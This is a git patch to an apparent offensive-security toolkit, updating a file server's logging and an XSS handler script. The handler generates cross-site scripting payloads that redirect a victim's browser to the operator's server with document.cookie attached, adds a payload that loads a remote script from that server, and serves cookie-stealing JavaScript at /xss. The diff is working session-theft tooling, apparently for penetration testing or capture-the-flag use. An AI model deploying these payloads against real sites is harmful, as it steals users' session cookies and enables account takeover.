From 494a1e0f4b224d83bf4d08b5dad3fb97cc278085 Mon Sep 17 00:00:00 2001
From: Roman Hergenreder <roman.hergenreder@ilume.de>
Date: Fri, 7 May 2021 23:52:08 +0200
Subject: [PATCH] xss_handler + fileserver update

---
 fileserver.py  |  1 +
 xss_handler.py | 18 ++++++++++++++----
 2 files changed, 15 insertions(+), 4 deletions(-)

diff --git a/fileserver.py b/fileserver.py
index d95a2ab..76114be 100755
--- a/fileserver.py
+++ b/fileserver.py
@@ -50,6 +50,7 @@ class FileServerRequestHandler(BaseHTTPRequestHandler):
                 body = self.rfile.read(int(contentLength))
 
             print("==========")
+            print("%s %s %s" % (self.command, self.path, self.request_version))
             print(str(self.headers).strip())
             if body:
                 print()
diff --git a/xss_handler.py b/xss_handler.py
index 34d4224..8c91d88 100755
--- a/xss_handler.py
+++ b/xss_handler.py
@@ -6,11 +6,16 @@ import http.server
 import socketserver
 from http.server import HTTPServer, BaseHTTPRequestHandler
 
-def getCookieAddress(address, port):
+# returns http address
+def getServerAddress(address, port):
     if port == 80:
-        return "'http://%s/?x='+document.cookie" % address
+        return "http://%s" % address
     else:
-        return "'http://%s:%d/?x='+document.cookie" % (address, port)
+        return "http://%s:%d" % (address, port)
+
+# returns js code: 'http://xxxx:yy/?x='+document.cookie
+def getCookieAddress(address, port):
+    return "'%s/?x='+document.cookie" % getServerAddress(address, port)
 
 def generatePayload(type, address, port):
 
@@ -23,6 +28,7 @@ def generatePayload(type, address, port):
 
     if type == "script":
         payloads.append('<script type="text/javascript">document.location=%s</script>' % cookieAddress)
+        payloads.append('<script src="%s/xss" />' % getServerAddress(address, port))
 
     if len(payloads) == 0:
         return None
@@ -41,7 +47,11 @@ class XssServer(BaseHTTPRequestHandler):
 
     def do_GET(self):
         self._set_headers()
-        self.wfile.write(self._html())
+        if self.path == "/xss":
+            cookie_addr = getCookieAddress(util.getAddress(), listen_port)
+            self.wfile.write(cookie_addr.encode())
+        else:
+            self.wfile.write(self._html())
 
     def do_HEAD(self):
         self._set_headers()